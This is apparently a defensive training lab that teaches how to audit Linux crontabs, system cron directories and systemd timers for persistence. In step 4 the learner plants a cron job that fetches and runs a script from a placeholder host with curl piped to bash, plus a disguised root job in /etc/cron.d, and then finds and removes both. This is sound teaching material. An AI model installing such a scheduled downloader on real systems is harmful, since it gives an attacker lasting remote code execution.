Home › The Stash

Linux for Defenders 03: Scheduled Jobs — Audit cron and systemd Timers

LabOctober 20, 2026

BeginnerTestedTime ~35 minTool crontab, systemctlNeeds a Linux VM you ownCost freeExam Linux+ · CySA+

0 / 6 steps

The goal

By the end you will be able to read every scheduled job on your Linux machine — the ones in a user’s crontab, the ones scattered across the system cron files, and the newer systemd timers — and sweep all of them at once for anything that should not be there. You will plant two scheduled backdoors yourself, find them with a single command, and clean them out. Scheduled jobs are the second-favourite place to hide persistence, right after services.

Your own VM only. You will add and delete scheduled jobs, so work on a Linux VM you own and can snapshot. The jobs you plant are harmless — one points at a domain that does not exist, the other writes a marker file. Nothing here runs against another machine.

Why this lab. A service shows up in the service list (that was the last lab). A cron job does not — it sits quietly in one of half a dozen files and only wakes up on its schedule. That scattering is exactly why people miss them, and why an attacker likes them. The fix is knowing all the places to look, and a single sweep that reads them in one go.

Steven has a cron job from 2021 that emails him a report nobody reads. Every morning. Forever. — Nyx

Before you start. You need a Linux VM with cron and systemd and a terminal. Everything here is built in; nothing to install.

Steps

01Read your own crontab

The simplest scheduled jobs belong to a user. List the current user’s crontab.

$ crontab -l
no crontab for root

On a clean machine, most users have none — that is the real answer above, not an error. Each line, when there is one, is five time fields then a command: minute hour day-of-month month day-of-week. */5 * * * * means every five minutes; 0 3 * * * means 3am daily. The jobs themselves live in a spool file a normal user cannot read directly, which is why you always go through crontab -l.

Why this matters. A user crontab runs as that user, needs no root, and survives reboots. It is the lowest-effort persistence on Linux — and the first scheduled place to check on any account you are reviewing.

02Read the system cron — all of it

System-wide jobs live in a different set of places, and there are several. The main file names a user for each job; the drop-in folder holds one file per package.

$ grep -vE '^\s*(#|$)' /etc/crontab
SHELL=/bin/sh
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
$ ls /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/

Notice the system file has an extra field the user crontab did not: a user column (here, root) between the schedule and the command. Those run-parts lines run every script in /etc/cron.hourly/, cron.daily/ and so on — so those folders are scheduled too, just one level removed.

Why this matters. People check crontab -l and stop. The system cron has at least six locations — /etc/crontab, /etc/cron.d/, and the hourly, daily, weekly and monthly folders — and a job in any of them runs as root. Miss one folder and you miss the job.

03Read the systemd timers

Modern distributions schedule more and more work with systemd timers instead of cron. They are a second, separate schedule you have to check.

$ systemctl list-timers --all
NEXT                        LEFT      UNIT                    ACTIVATES
Wed 2026-10-21 00:00:00 UTC 4h 59min  logrotate.timer         logrotate.service
Wed 2026-10-21 06:32:51 UTC 11h       apt-daily-upgrade.timer apt-daily-upgrade.service
...

Each timer ACTIVATES a service of the same name. Read the pair with systemctl cat logrotate.timer: the [Timer] section holds the schedule (OnCalendar=daily), and the matching .service holds what runs. A planted timer is found exactly like the planted service in the last lab — by what its service runs, and by its file date.

Why this matters. Cron and timers are two independent schedulers. A machine can look clean in crontab -l and have a malicious timer firing every ten minutes. You have to read both.

04Plant two scheduled backdoors

Play the attacker. Add one job to a user crontab and one to the system drop-in folder — two of the most common real patterns.

$ ( crontab -l 2>/dev/null; echo '*/5 * * * * /usr/bin/curl -s http://example.test/x | bash' ) | crontab -
$ echo '*/10 * * * * root /bin/bash -c "id > /tmp/marker"' | sudo tee /etc/cron.d/sysmon

The first fetches a script from the internet and runs it, every five minutes — the classic cron downloader (MITRE ATT&CK T1053.003). The second writes a marker file every ten minutes as root, standing in for a real payload. Both now sit on the machine waiting for their schedule.

The attacker’s view. curl | bash on a schedule means the attacker can change what runs any time, without touching your machine again — the job just pulls the latest version. A filename like sysmon in /etc/cron.d/ reads as something a monitoring tool left behind.

05Sweep every schedule in one command

Now catch both. The trick is to read every user’s crontab and every system cron file in one sweep, so nothing hides in the folder you forgot.

$ for u in $(cut -f1 -d: /etc/passwd); do l=$(sudo crontab -l -u "$u" 2>/dev/null); [ -n "$l" ] && echo "### $u" && echo "$l"; done
### root
*/5 * * * * /usr/bin/curl -s http://example.test/x | bash
$ sudo grep -rE '.' /etc/cron.d/ /etc/crontab 2>/dev/null | grep -vE ':\s*(#|$)'
/etc/cron.d/sysmon:*/10 * * * * root /bin/bash -c "id > /tmp/marker"
/etc/cron.d/e2scrub_all:30 3 * * 0 root ... e2scrub_all

Both planted jobs surface, each next to where it lives. The first loop walks every account in /etc/passwd and prints any crontab it finds; the second reads the system files. Judge each hit the same way: curl | bash from the internet and a bare id > /tmp/marker are not jobs an admin writes, so they are findings; e2scrub_all ships with the OS, so it is noise.

Why this matters. A sweep that reads everything beats checking one file at a time, because the whole weakness of cron for a defender is how many places a job can hide. One loop over all users, one grep over all system files — that is the habit.

06Remove both and prove it

Clear the user crontab and delete the system file, then run the sweep again to confirm nothing is left.

$ crontab -r
$ sudo rm /etc/cron.d/sysmon
$ crontab -l
no crontab for root

Back to “no crontab”, and the /etc/cron.d/ file is gone. Re-running the step 5 sweep now returns only the OS’s own jobs — that clean sweep is your evidence the schedule is back to normal.

Why this matters. crontab -r removes the whole user crontab at once — careful, there is no undo, which is why a snapshot matters. On a real system you would remove only the offending line with crontab -e.

What you learned

  • crontab -l / -l -u user — a user’s scheduled jobs; the lowest-effort persistence
  • /etc/crontab, /etc/cron.d/, cron.{hourly,daily,weekly,monthly} — the system schedule, in six places
  • systemctl list-timers — the second, separate scheduler you must also read
  • the two-part sweep — loop every user’s crontab, grep every system cron file, in one go
  • curl | bash on a schedule — the classic cron downloader (T1053.003); a finding every time

On Red Hat (RHEL, Rocky, Fedora). Tested on Rocky Linux 9: the same files and commands, plus user crontabs live under /var/spool/cron/ (Debian and Ubuntu use /var/spool/cron/crontabs/) — but always read them through crontab -l, not by opening the spool. Timers are identical; the OS’s own set differs (dnf-makecache.timer in place of the apt ones).

Put it on your resume. Audited scheduled execution on Linux across user crontabs, the system cron directories, and systemd timers, and identified and removed scheduled-task persistence (MITRE T1053.003). Change it to match what you actually did.

Tried it? Tell us

Nova built this lab from Steven’s ideas, and every command above was run on a real machine before it went up. If a step behaved differently for you, or you know a better way, tell us. Ideas for the next lab are welcome too — no promises on timing.

NextLinux for Defenders 04 — Firewall your box: ufw and nftables→

Go deeper

Original walkthrough. Every command and output block above was run on Ubuntu 24.04 (cron 3.0pl1, systemd 255) and checked on Rocky Linux 9.8. If something does not match your machine, tell me and I’ll fix it.